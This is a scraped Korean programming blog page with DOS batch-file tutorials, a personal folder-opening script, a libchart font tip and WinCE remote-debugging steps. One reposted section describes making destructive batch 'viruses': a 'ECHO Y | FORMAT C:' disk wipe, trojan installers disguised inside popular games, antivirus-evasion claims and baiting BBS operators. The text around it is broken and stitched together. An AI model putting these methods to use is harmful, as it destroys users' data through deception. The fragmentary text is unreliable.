| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
2. 배치 파일 만들기 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
도스에는 명령어를 일괄적으로
처리하기위한 배치파일이라는 것이 있습니다. 컴퓨터의 동작 상태를 살펴 보면 항상 사용자와의 상호작용에 의하여
작업이이루어진다는것을 알 수 있습니다. 도스라는 운영체제도 사용자가 명령을 입력하면 그 명령에 대해 도스가 분석하여 사용자가
원하는 실행 결과를 제공합니다. 여기서 쓰고 싶은 대로 적기만 하면 됩니다.제일 마지막행의
^Z 는 파일의 제일 마지막 부분이라는 것을 도스에게 알려주는 코드로 < Ctrl + Z > 키 또는 F6 키를
누르면 됩니다. 그리고 엔터키를 한번더 누르면 '1 File(s) copied' 라는 메세지가 출력되는데, 이는 방금 ' copy
con 파일명 ' 으로 작성된 문서파일이 성공적으로 만들어졌다는 뜻입니다.위의 문서파일은 확장자가 .BAT 로 붙었기 때문에
실행가능한 외부 명령어가 되는데, 배치파일은 명령이 기록되어 있는 순서대로 실행되기 때문에 timedate.bat 를 실행시키면
먼저 화면을 지우고 난뒤 시스템의 시간과 날짜를 설정합니다.간단한 배치파일은 'copy con 파일명' 으로 작성하는 것이 다른
프로그램의 도움없이 쉽고 빠르게 처리할 수 있습니다. 하지만 배치파일이 조금 길거나 작성중에 수시로 편집할 일이 생기는 경우에는
불가능합니다. 'copy con 파일명' 으로 파일을 작성하면 행으로 다시돌아갈 수 없을 뿐 아니라 수정이 불가능하기 때문입니다.
그러므로 배치파일을 만들 필요가 있을때는 문서 에디터를 이용하는 것이 좋습니다. | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3. 배치 파일 만들기 예제 |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
이 문서는 제가 옛날에 배치파일 공부할 때 하이텔 어디선가 다운받은 파일인데 누가 작성한 것인지
지금은 오래되어 기억이 나질 않습니다. 편집없이 그대로 옮깁니다. ▶ 배 치파일로 바이러스 제작하기
목적 : 침투즉시 시스템 영역 파괴로 부팅불능 @ECHO OFF DEL XXX.YYY < NUL <= 본
인 스스로 해당 파일명 삭제명령, 역시 보이지않게!! 여기에 화면에 어떤 메시지를 띄울수도 있을것이다. ECHO " 이 컴퓨터는 부팅영역을 나에 게 빼앗겼다!! " 아주 간단하면서 효과는 확실하다. 아래는 간단한 파일 찾기 프로그램이다. 다음 예제를 살펴보자. 예) 월 표시 프로그램 @ECHO OFF 배치파일의 장점이자 단점이기도 한것이 있다.스스
로 완벽하게 작동하지 못한다는 것이다. 때문에 배치를 도와줄 유틸리티가 필요하게 되었다.
사실 C,PASCAL 로 바이러스를 만들어도 어셈블리어로 제작된 유틸리티가 필요한거 보면 대동소이 하지만......... 자, 이것을 실행하면 현재 시스템의 월을 표시해준
다. 이것을 활용해서 "트로이&시한폭탄 1호
형" 바이러스를 만들어보자. @echo off 이제 위의 둘을 합친 모습을 보자! @ECHO OFF
다른 예
로, ECHO Y | FORMAT C: 라고 할수도 있다. 만약 자신이 어떤 프로그램이나 게임등에 이런 바이 러스 코드를 첨가시켜 전파시키는 방법도 있다. 방법은, 유명게임이나 유명 유틸리티 등에 자신 이 직접 인스톨 프로그램을 작성하여 첨가시키는 것이다. 예) 간단한 인스톨 프로그램 ( 프로그램 은 C:PRPROG.ARJ 로 되어있다고 치자.) 1) 첫번째 필요한 소스 INSTALL.BAT <= 컴파일시켜 실 행파일로 만들면 된다. @ECHO OFF
2) 두번째 필요한 소스 M.BAT 나 NCD.BAT <= 컴파일시 켜 M.COM or NCD.COM 으로한다. @ECHO OFF 왜 NCD.COM 이나 M.COM 으로 하냐면,전
에 항상 실행파일은 COM -> EXE -> BAT 순서라고 했죠?
세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛 에 맞게 짜기바란다. 이방법이 약간 복잡할수있다. *좀더 단순화 시켜서 XXX.DAT 를 아 에 M.COM 내부에 설치할수도 있다.
이렇게 배치파일로 제작된 트로이목마 & 시
한폭탄 형 바이러스는 절대로 V3 나 TB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!! 간단한 형태로 SEX.COM 이런식으로 만들어
서 즉각 반응형으로 해도 효과는 좋을것이다. 사설 비비에스 해킹이야 위의 자료를 등록한후 시삽 이 실행하기만 기다리면 되는것이다. 위에 열거한 각종 테크닉을 이용한다면 강력한 트로 이목마형 바이러스를 초보자들도 쉽게 제작할 수 있을 것이다. 기존의 프로그래밍 언어가 상당 수준 까지 오르는데 많이 시간이 필요한반면 배치 프로그래밍은 짧은 시간내에 학습이 가능하고 적용 이 쉽다는 장점이있다.
▶ 참 고자료 다음은 배치 프로그래밍의 대가인 티모 살미 교수
가 정리한 것입니다. 1. "@echo off"
를 일반적으로 사용하기 2. 모
든 파일을 지우기 3. 다
중 반복 echo off 4. 디
렉토리가 존재하는지 확인하는 방법 5. 프
로그램을 현디렉토리나 경로에서 사용할 수 있는지 확인하기 6. 배
치파일에서 서브루틴이나 재귀적방법을 사용하기 7. 매
개 인수(parameter)를 대문자로 바꾸기. 8. 새
로운 디렉토리를 경로에 붙이기 9. 두 파
일을 비교하기 10. 빈
줄을 쓰기 11. pause
를 이용해 메세지를 표시하기 12. for
를 이용한 다양한 rename 기술 13. 와
일드카드를 확인하기 14. 배
치 작업을 중간에 그만두지 못하게 하기 15. autoexec.bat
를 중지하고 건너뛰는 것을 방지하기 16. 확
장자를 인식하기 17. % 문
자 인용부호 %1은 배치파일에 주어진 첫번째 인수를 가르킨
다. 이처럼 'echo %1'이라고 하면 첫번째 인수를 표시해 준다. 대신에 %1라는 문자를 표시하고 싶은 경우 어떻게 해야하는
가? % 문자는 인용부호처럼 행동한다. 그래서 %%1이라고 쓴 경우 실제로는 "%1"이라고 화면에 표시된다. 아래의 간단
한 연습을 실행해보라. 18. 배
치의 보조 배치파일을 없애기 19. subst 명
령어를 경로에 사용하기 20. 일
주일에 한번 실행하기. (요일을 확인하기) 21. 파
일이름에 경로가 포함되었는지 확인하기 22. 엔
터키를 누르지 않고 시간을 보기 23. 에
러레벨 값을 확인하는 다른 방법 24. 배
치파일의 출력을 리디렉션(redirection)하기 25. 환
경저장 공간이 충분한지 확인하기 26. 드
라이브를 사용 못하게 하는 간단한 방법 27. 프
린터에 escape 명령어를 보내기 28. 무
작위 문자열을 만든는 방법 29. 문
자열의 길이를 알아내기 30. MsDos
의 버전을 환경변수로 저장하기 출처 : http://surewin.kr/xp/2795 |
'프로그래밍'에 해당되는 글 98건
- 2010.07.17 [BAT] 배치 파일 명령어와 배치 파일 만들기
- 2010.07.17 [BAT] DOS 배치(batch) 파일 만들기
- 2010.07.17 [BAT] 여러 프로그램을 동시에 실행
- 2008.06.19 libchart 에서 한글 이용하기
- 2008.04.27 WinCE5.0 장치 원격 디버깅[펌]
< Tip by abyul.com > ------------------------ 배 치파일을 이용하여 특정 폴더 쉽게 열기 ----------------------------------------------------
#방법1
하 나의 배치파일을 만들어서 변수를 이용해서 특정 폴더를 열고 싶을때.. 아래의 #방법2보다유지보수가 간편하다. ㅋ
일 단.. o.bat를 하나 만들고 메모장에서 오픈한 다음 아래 명령어들을 입력한다.
REM 이 배치 파일은 아별닷컴(http://abyul.com)의 주인장 오주원(abyul@paran.com)에 의해서 만들어졋습니다.
REM 폴더 경로 쉽게 접근하기 Version 0.1
REM 변수가 없으면 바로 종료
if "%1" == "" goto end
REM 재무팀 공유폴더 열기
if "%1" == "fn"
%SystemRoot%\explorer.exe "\\data
\재무팀"
if "%1" == "woan"
%SystemRoot%\explorer.exe "\\data
\재무팀"
REM 매출표 관리 폴더 열기
if "%1" == "aocnf"
%SystemRoot%\explorer.exe "\\data\cowork\sales\매출표\2007"
if "%1" == "coa" %SystemRoot%\explorer.exe "\\data\재무팀\COA_수정금지함"
if
"%1" == "cornjs" %SystemRoot%\explorer.exe "\\data
\재무팀\매출 일별\2007"
if "%1" == "dlstk"
%SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 인사"
if
"%1" == "dnjsrk" %SystemRoot%\explorer.exe
"D:\_SystemFolders\내문서\_업무서류\__ ■ 원가관리\2007원가계산 ■"
if "%1" ==
"ghksdbf" %SystemRoot%\explorer.exe "\\data\재무팀\환율관리"
if
"%1" == "rnrcor" %SystemRoot%\explorer.exe
"D:\_SystemFolders\내문서\_업무서류\__ ■ 국책과제\1)국가과제종합"
if "%1" == "roqkfql"
%SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 개발비\■ 총괄정리
by 오주원"
if "%1" == "rPdirtj" %SystemRoot%\explorer.exe "\\data
\재무팀\문헌관리 (계약서등)"
if "%1" ==
"thsdlr" %SystemRoot%\explorer.exe "D:\_SystemFolders\내문서\_업무서류\__ ■ 손익"
if
"%1" == "wnthfhr" D:\_SystemFolders\내문서\_업무서류\_연락처\코아로직임직원연락망.xls
if
"%1" == "경로" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if
"%1" == "votm" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if
"%1" == "rudfh" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if
"%1" == "qocl" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
if
"%1" == "batch" %SystemRoot%\explorer.exe "D:\_SystemFolders\_batch"
:end
머..
사용방법은 간단하다. Win+R키를 눌러 실행창을 띄우고, o 변수명을 입력해주면 변수에 해당하는 폴더가 오픈된다.
o
fn이라고 입력하면 재무팀 공유폴더를 오픈하는 식이다. 위 명령에서 보면 %1은 배치명을 호출할 때 사용한 첫번째 변수를 말한다.
o
fn이라고 했다면 fn을 말하는 것이다. 배치명을 사용할때는 10개까지 변수 지정이 가능하다. %0 ~ %9
=====================================================================================
나
중에 조건문을 추가하여 좀 더 효율적으로 만들어보자.. 나~중에.. ㅋㅋ
IF EXIST
D:\_Systemfolders\_batch\ (
%SystemRoot%\explorer.exe
"D:\_SystemFolders\_batch"
)
ELSE (
ECHO 에라! 그런 폴더 없듬. =_=+
EXIT
)
if exist
E:\TEST\ (
echo OK! 그런 디렉토리가 있습니다
) else (
echo 에러, 그런
디렉토리는 없음
)
=====================================================================================
출
처 : http://mwultong.blogspot.com/2006/11/dos-if-else-bat.html
@echo off
setlocal
set foo=test.txt
if exist %foo% (
echo %foo% 라는 파일이 존재하는군요
) else (
echo
%foo% 라는 파일이 없군요
)
IF ELSE 문에 대한 도움말은 도스창(명령 프롬프트;cmd.exe)에서,
if /?
라고 입력하면
출력됩니다.
=====================================================================================
#
방법2 (예전 방법)
자주 가는 폴더를 열때, 간단히 단축키로 만들어 보자.
메모
장을 열고, 아래와 같이 입력해주자.
%SystemRoot%explorer.exe
"D:_SystemFolders내문서_업무서류__ ■ ERP▲ DynamicQuery"
그런 다음, ed.bat
처럼 단순한 이름으로 시스템 폴더(C:WINDOWSsystem32)에 저장한다.
(시
스템폴더에 file이 너무 많아 관리가 힘들다면 폴더를 새로 만들고, 시스템 환경변수의 path에 해당 경로를 등록해주면 된다.
윈
도우 탐색기 띄우고, 내컴퓨터의 등록정보창을 띄우고, 고급탭에서 환경변수 버튼 클릭, 시스템 변수 중의 Path에 경로 추가
본
인의 경우는 ;D:\_SystemFolders\_batch 경로를 추가해줬음.)
그러면 실행창을
띄우고(Win+R) 단순히 ed만 치고 엔터를 치면 해당 폴더가 열린다.
본인은 아래와 같은 약어로 파일
이름을 작성한다. 참고.. ㅎㅎ
ed : erp dynamic query
ar
: erp Account receivable
cs : cash (자금현황)
참고. 엑셀
파일 바로 열기
"C:Program FilesMicrosoft OfficeOFFICE11EXCEL.EXE"
"C:ChangeFileName.xls"
--------------------------------------------------
< 이하 퍼온 자료 >
----------------------------------------------------------------------------------------
자
료출처 : http://blog.empas.com/comoff/23024214
대부분의 사람들은 배치파일이 도스환경을 쉽게 만든다는 사실을 과소평가하는데, 컴퓨터를 좀더 쉽게 사용하고 싶다면 배치파일을 꼭 짚고 넘어가는것이 좋습니다.
▶ 배치파일이란 ?
따라서 사용자는 항상 도스 프롬프트 상에서 일일이 키보드를 이용한 타이핑으로 명령을 내려야 하고, 하나의 명령이 내려지면 완료될 때까지 다음 명령을 내릴수가 없습니다. 작업 과정이 얼마되지 않는다면 큰 상관이 없으나 그 과정이 매우 길고 복잡하다면 사용자는 지루함을 느끼게 됩니다. 또한 비록 짧은 작업과정이라도 컴퓨터를 켤때마다 매번 똑같은 과정을 일일이 지시하는 것도 귀찮을 것입니다.
이러한 경우 배치 파일은 가장 확실한 해결책입니다.
배치파일의 기능은 순차적이고 반복된 동일한 작업 과정을 몇개의 혹은 수십, 수백 개의 연관된 명령어를 하나의 파일로 집약하여 그 하나의 파일(배치파일)만 실행함으로써 원하는 작업 과정을 수행하는것입니다.배치파일에 붙는 확장자는 .bat(batch 의 약어) 입니다.도스에서 실행이 가능하기 때문에 .com, .exe 확장자가 붙는 외부 명령어와 함께 실행 가능한 파일로 분류됩니다.차이가 있다면 .com, .exe 명령어는 컴퓨터만 해석 가능한 기계어 코드로 구성되어 있는반면, 배치 파일은 사람이 알아볼수 있는 일반 텍스트로 이루어져있다는 것입니다.
그래서 사용자들은 문서작성에 이용하는 워드프로세서나 텍스트에디터 등을 이용해 배치 파일을 작성할 수 있습니다. 그러나 워드프로세서는 덩치가 크고 원래 목적이 편집과 출력을 위해 만들어진 것이므로 단순한 배치 파일을 작성하는 데는 권하고 싶지 않습니다.
저장할때도 워드프로세서 고유의 포맷(예" .hwp 확장자를 가지는 아래아한글 데이터 파일)으로 저장하면 인식이 되지 않으므로 아스키 파일로 저장해야 합니다.가장 편리한 방법은 일반 문서 에디터( 도스의 Edit, Q에디터,U에디터 등)를 이용하거나 도스의 'Copy Con' 명령으로 배치 파일을 만드는 것입니다.다음과 같이 'Copy con 파일명' 형식으로 입력하고 엔터를 누르면 도스 프롬프트 상태에서 편집할 수 있는 상태가 됩니다.
-------------------------------
C:Bats> copy con Timedate.bat
cls
time
date
^Z
1 File(s) copied
-------------------------------
▶ 배치파일 작성 명령어 9인방
배치 파일은 파일 안에 기록되어 있는 명령의 순서대로 실행됩니다.가장 대표적인 것이 부팅에 이용되며, 컴퓨터의 루트 디렉토리에 위치하고 있는 Autoexec.bat 파일입니다. 그런데 만약 배치 파일의 실행의 순서를 순차적이 아닌멀티부팅용 Autoexec.bat 처럼 사용자 마음대로 정하고 싶다면 배치파일에 제공되는배치명령어의 용도를 알고 있어야 합니다.
1. CALL
현 재 실행중인 배치 파일을 종료하지 않고 필요한 다른 배치파일을 호출하여 실행한 다음 원래의 배치파일로 다시 돌아오려고 할 때 사용됩니다.
◇ 사용법 : Call [drive:][경로]<배치파일명>[.BAT]
◇ 예 : Call c:batssample.bat
어떤 배치 파일을 실행하는 도중에 경로 C:bats 에 있는 sample.bat 파일을 실행한 다음 다시 원래의 배치파일로 돌아옵니다.
2. CHOICE
배치 프로그램 내에서 사용자의 선택을 묻기 위해 사용됩니다. 배치 파일 제작자가 설정한 물음을 출력하면서 지정된 키 입력을 기다립니다. 이 명령은 배치파일 내에서만 사용 가능합니다.
◇ 사용법 :choice [/C[:]문자열][/N][/S][/T[:]기본키,대기시간][메세지]
◇ 옵션
- /C[:]문자열 : 사용자가 선택할 수 있는 키목록을 [] 괄호 내에 ', ' 로 구분하여 출력하고 /C 스위치를 사용하지 않으면 기본적으로 YN이 사용됩니다.
- /N : 프롬프트를 출력하지 않도록 합니다.
- /S : 사용자의 입력에서 소문자, 대문자를 구분하도록 합니다.
- /T[:]기본키, 대기시간 : 기본키를 지정한 후 대기시간 동안 사용자의 키 입력이 없으면 자동적으로 기본키가 입력된 것으로 간주하고 진행됩니다. 지정 가능한 대기시간은 초단위이며 0에서 99 사이의 값입니다.
- 메세지 : 화면에 출력될 메세지를 지정합니다.
◇ 예 : choice /c:abCD /s /t : C, 5 다음중에서 하나를 선택하십시오 a, b, C, D
◇ 설명 : 입력 가능한 키를 a,b,C,D로 한정하며 사용자로부터 입력되는 영문자의 대,소문자를 구분하는데, 만약 5초 내에 사용자로부터 키 입력이 없다면 C 가 입력된 것으로 간주합니다. 그리고 화면에는
'다음중에서 하나를 선택하십시오 a, b, C, D[a,b,C,D]? '
라는 메세지가 출력됩니다.
3. ECHO
배 치파일 실행중에 명령어를 화면에 표시할 것인지의 여부를 설정하며, 그 상태를 표시합니다. 한편 ECHO 명령 뒤에 오는 메세지는 화면에 나타납니다.
◇ 사용법 : echo [on/off] [문자열]
◇ 옵션
- on : 배치 파일 실행중에 그 배치 파일 내의 명령어를 화면에 표시합니다.
- off : 배치 파일 실행중에 명령어를 화면에 출력하지 않도록 합니다.
- 문자열 : 화면에 출력하고 싶은 메세지를 적어줍니다.
- 없음 : 현재 ECHO 설정 상태를 표시합니다.
◇ 예 :
echo off
☞ 현재 실행중인 배치 파일 내의 명령어를 화면에 나타나지 않도록 함.
echo
echo 안녕하세요?~
☞ 현재 echo 설정상태를 표시하며 안녕하세요?~ 라는 문구를 화면에 출력합니다.
4. FOR
지정된 집합 중의 각각의 요소에 대하여 명령으로 설정한 처리를 반복 실행합니다.
◇ 사용법
For %%<변수> IN (<집합>) DO <명령> [<옵션>] ☞ 배치파일용.
For %<변수> IN (<집합>) DO <명령> <옵션>] ☞ 순차처리용.
◇ 옵션
- %%<변수>, &<변수> : 변수로 사용되는 것은 임의의 영문자로 1자만 허용됩니다. 주의할 점은 배치파일에서 사용할 경우는 반드시 %%처럼 두개를 연달아 사용해야 하며, 일반 도스 프롬프트에서 사용할 때는 % 하나만 사용합니다.
- <집합> : %%<변수>에 대입하고 싶은 값을, 또는 스페이스로 구분하여 대입하고 싶은 순서대로 나열합니다.
- <명령> : %%<변수>에 대입되어 있는 값에대해 반복적으로 실행하고 싶은 명령을 지정합니다.
- <옵션> : 지정한 명령의 옵션이나 FOR 명령에서 지정한 옵션을 설정합니다.
◇ 예
for %%f in (bak tmp $$$) do del *.%%f /p ☞ 배치파일의 경우
for %d in (read,wh,file) do hlist %d*.* ☞ 도스 프롬프트에서 실행시
◇ 설명 : 첫 번째는 bak, tmp, $$$ 를 순서대로 %%f 환경 변수에 대입하여 차례대로
DEL *.bak /p, DEL *.tmp /p, DEL *.$$$ .p 를 실행한 것과 동일한 결과를 얻게됨.
두번째는 READ,WH,FILE 를 순서대로 %d 환경변수에 대입하여 차례대로
HLIST READ*.*, HLIS TWH *.* , HLIST FILE *.* 를 실행한 것과 동일한 결과를 얻게 됩니다.
5. GOTO
배 치 처리의 흐름을 <레이블>에서 정의되어 있는 위치로 옮깁니다.
◇ 사용법 : Goto <레이블>
◇ 예 :
goto loop
:loop
각 종 처리할 내용
◇ 설명 : 레이블 loop 로 배치 처리의 제어권을 이동시켜 loop 항목에 지정된 각종 처리할 내용을 실행시킵니다.
◇ 참고 : 배치 파일에 레이블 표시는 레이블명 앞에 콜론(:) 을 붙여주며 줄을
바꿔 맨 앞에 지정해 주어야 합니다.
6. IF
지정한 조건의 판단 결과에 따라서 배치 처리를 진행합니다.
◇ 사용법 : If [NOT] <조건> <명령>
◇ 옵션
- NOT : 지정한 조건의 반대 조건일 때만 실행합니다.
- 조건
- ERRORLEVEL <수치> : 바로 전에 실행한 명령(프로그램)의 종료 코드가 <수치> 이상일 때에는 참이 되고 <명령> 이 실행됨.
- <문자열1> == <문자열2> : <문자열1> 과 <문자열2> 가 같을 때에만 참이되고 <명령>이 실행됩니다. 주의할 점은 문자열의 대,소문자가 구별되며, 문자열중에 구분기호(콤마,스페이스,세미콜론,등호,탭)가 포함되어 있으면 않됩니다.
- EXIST <파일명> : <파일명>으로 지정한 파일(경로포함)이 존재할 때에만 참이 되고 <명령>이 실행됩니다. <파일명>에는 와일드카드 문자의 사용이 가능합니다.
◇ 예 :
if errorlevel 2 goto quit
if not %1 ==%2 goto process
if exist d:worktemp.$$$ del d:worktemp.$$$
◇ 설명 :
직전에 실행한 명령의 종료 코드가 2 이상일 경우 레이블 QUIT로 이동합니다.
환경변수 %1과 환경변수 %2에 대입되어 있는 문자열이 같지 않을 경우에만 레이블 PROCESS 로 이동합니다.
경로 D:Work 에 temp.$$$ 라는 파일이 존재하면 그 파일을 삭제합니다.
7. PAUSE
배 치 파일 실행을 일시 정지합니다.
◇ 사용법 : Pause [문자열]
◇ 옵션
- 문자열 : 문자열을 생략하면 'press any key to continue...'라는 메세지가 화면에 출력됩니다. 만약 PAUSE 명령 뒤에 어떤 메세지를 지정하여 그 메시지를 출력하고 싶다면 'Echo On' 명령을 우선 내려야 합니다.
◇ 예 :
echo on
pause 준비가 되었으면 아무키나 누르세요...
◇ 설명 : 배치 처리 중 pause명령을 만났을때 임의의 다른 메시지를 화면에 출력하고 싶다면 예 에서와 같이 반드시 echo on 명령이 선행되어야 하며 예의 경우에는 ' 준비가 되었으면 아무키나 누르세요...' 라는 메세지가 출력됩니다.
◇ 참고 : 위 처럼 하면 화면에 Pause 라는 명령어까지 같이 출력되므로 이런경우
echo on
echo 준비가 되었으면 아무키나 누르세요...
pause > Null
이 런식으로 사용하면 출력하고자 하는 메세지만 화면에 출력됩니다.
8. REM
배치 파일 내에 주석문을 부여하고 싶을 때 사용합니다.
◇ 사용법 : rem [문자열]
◇ 옵션
- 문자열 : 주석문으로 쓰고 싶은 것을 적어줍니다.
◇ 예 : REM 이 배치파일은 샘플입니다.
배 치파일내의 적당한 위치에 적절한 주석문을 붙여두면 배치 처리의 흐름을 일목요연하게 볼 수 있습니다.
9. SHIFT
배치 파일에 주어진 파라미터(%1~%9)와 실행시에 지정되는 값과의 대응을 하나씩 뒤로 이동하여 표시합니다.
◇ 예
:loop
if "%1" == " " goto end
echo %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
shift
goto loop
:end
위 와 같이 배치 파일을 작성해두고 다음과 같이 배치파일을 실행해 보면 shift 명령이 어떤 역할을 하는지 금방 알 수 있습니다..
C:bats> test.bat A B C D E F G H I J 0 1 2 3 4 5 ☜똑같이 입력하고 실행후 확인
출처 : http://abyul.com/zbxe/aMST_ETC/13074
문제:
매일 쓰는 프로그램을 좀 쉽게 열고자 배치 프로그램을 작성하려고 한다.
.bat 배치 파일을 만들어서, 단순히 아래와 같이
@echo off
C:\QuickStart\setNetworkDrive.bat
해당 exe 파일 주소를 입력하고 저장하여 실행했더니 C:\Program 은 올바른 프로그램이 아니라는 경고 메시지가 뜬다.
어떻게 해야 할까?
여러 개의 프로그램이 동시에 실행되게 하기 위해선 몇 가지 주의하여 작성할 점이 있다.
1. 파일 경로 문제
그렇기 때문에 실행시킬 경로를 따옴표(")로 묶어 주면 된다.
([윈 도우] 공백이 들어간 폴더명/파일명의 파일 실행하기 - Windows 에서 참고)
2. 동시 실행 문제
파일이 실행된 후에 그 파일이 종료되고 커맨드가 실행창으로 넘어올 때까지 대기하게 된다.
start 명령어의 /d 옵션은 파일의 시작 위치를 나타내며, /b 는 새로 창을 띄우지 않겠다는 옵션이다.
(cmd 에서 start /? 으로 확인해보자)
@echo off는 명령줄이 화면에 보이지 않게 하는 것.
* 좋은 참고 사이트: 윈 도우에서 여러 프로그램을 한 번에 실행시키는 팁에 대해 아주 잘 정리해 놓은 블로그가 있다.
참고 사이트
http://www.plengineer.com/733
http://ohgyun.com/173
잘 봤습니다. @echo off 만 추가했습니다.
libchart 에서 한글 이용하기
출처 : tangos 블로그
http://blog.empas.com/tangos/14505137
----------------------------------------------------------------------------
APM_SETUP 6으로 utf-8로 인코딩하여 사용했는데, 작동한다.
하지만, 다른 컴에서는 한글 깨짐 현상... 발견
그 문제는 기본 저장이 ansi로 인코딩 되어 있었다.
이것을 utf-8로 변경해주면 바로 적용된다
당연히 ansi에서는 한글이 깨지는데.. 그것도 모르고.. 왜 안되는지 고민했다는..
기초인데..ㅠㅠ
이것을 몰라서 하루 고생.. 머리가 멍청하면 손발이 고생인듯..ㅠㅠ
tangos 님께 감사의 글을 올립니다. (--)(__);;
--------------------------------------------------------------------------- |
라이센스: LGPL
우선 라이센스에 대한 부담이 없어서 좋다.
그래프도 미려하다.
한글 사용이 가능하다.
/libart/fonts/ 디렉토리에 보면,
DejaVuSansCondensed-Bold.ttf
DejaVuSansCondensed.ttf
파일이 있다. 그냥 귀찮은 생각에 한글이 지원되는 트루타입 폰트로 바꾸어 버렸다. ;-)
한글을 쓰려면, UTF-8이어야 한다.
로고를 바꿀 수 있는데, 기본이 PNG로고만 지원한다.
/libart/classes/Chart.php
function printLogo()
{ @$logoImage = imageCreateFromPNG($this->logoFileName); if($logoImage) imagecopymerge($this->img, $logoImage, 2*$this->margin, $this->margin, 0, 0, imagesx($logoImage), imagesy($logoImage), 100); } 메쏘드를 아래와 같이 수정한다.
function printLogo()
{ @$logoImage = imageCreateFromString(file_get_contents($this->logoFileName)); if($logoImage) imagecopymerge($this->img, $logoImage, 2*$this->margin, $this->margin, 0, 0, imagesx($logoImage), imagesy($logoImage), 100); } 이제, PNG,GIF등 다양한 파일을 로고로 쓸 수 있다.
단점: 모든 그래프가 1개의 소스만 지원한다.
라인그래프에서 여러개의 소스가 지원되면 좋겠는데.. 아쉽다.
|
출처 : http://blog.byeoli.com/category/%EB%AA%A8%EB%B0%94%EC%9D%BC
ActiveSync 4.x 이상의 버전에서는 3.x 버전과와 달리 싱크 프로그램에서 자체 원격 연결을 지원하지 않습니다. 이 때문에 일반적으로 모바일 장치의 프로그램을 개발하기 위해선 어쩔 수 없이 ActiveSync의 도움을 받아서 사용해야 했습니다.
다음은 Visual Studio 2005 개발 환경에서 ActiveSync를 사용하지 않고 직접 모바일 장치와 원격으로 연결하는 방법입니다.
테스트 환경
- Windows XP Pro SP2
- Visual Studio 2005
- Windows Mobile 5 Smart Phone SDK
- 모바일 장치의 네트워크 주소는 인터넷 공유기의 가상 IP 환경(192.168.x.x)
- 블랙잭(M620, WM5 SP)의 무선랜 연결, 락(Security Lock) 해제 상태.
액티브 싱크 없이 CE 5.0 장치를 디버깅
Step 1. 다음의 파일들을 직접 아래의 경로에서 모바일 장치로 복사해 옵니다.
X:\Program Files\Common Files\Microsoft Shared\CoreCon\1.0\Target\wce400\(해당하는 CPU 선택)
(모바일 장치에서의 실행 경로는 테스트 해 본 결과 임의의 폴더로 지정해도 무방했습니다.)
- ClientShutdown.exe
- ConmanClient2.exe
- CMAccept.exe
- eDbgTL.dll
- TcpConnectionA.dll
(위의 파일들이 기존의 ActiveSync를 사용한 디버깅 과정에서, 이미 장치의 Windows 폴더 등에 다운로드 되어 있다면 그 파일들을 사용해도 됩니다.)
Step 2. 모바일 장치에서 ConmanClient2.exe 를 직접 실행합니다.
Step 3. Visual Studio 2005에서 IP 관련 정보를 설정해 줍니다.
VS 2005 에서 '도구 - 옵션 - 장치 도구 - 장치' 에서 자신이 원하는 장치를 선택합니다.
속성 버튼을 누른 후 전송 탭에서 'TCP Connect 전송' 을 선택한 후 구성을 클릭합니다.
장치 IP 주소에서 '특정 IP 주소를 사용' 선택한 후에 장치의 IP 주소를 입력합니다.
Step 4. 모바일 장치에서 CMAccept.exe 파일을 직접 실행합니다.
VS 2005에서 장치 연결을 시도합니다. (이 때 3분이내에 장치와의 연결이 완료되어야합니다. 만약 연결되지 않을 경우 CMAccpet.exe 파일을 다시 실행해 주세요.
Step 5. 기존의 작업환경과 동일하게 디버깅을 할 수 있습니다.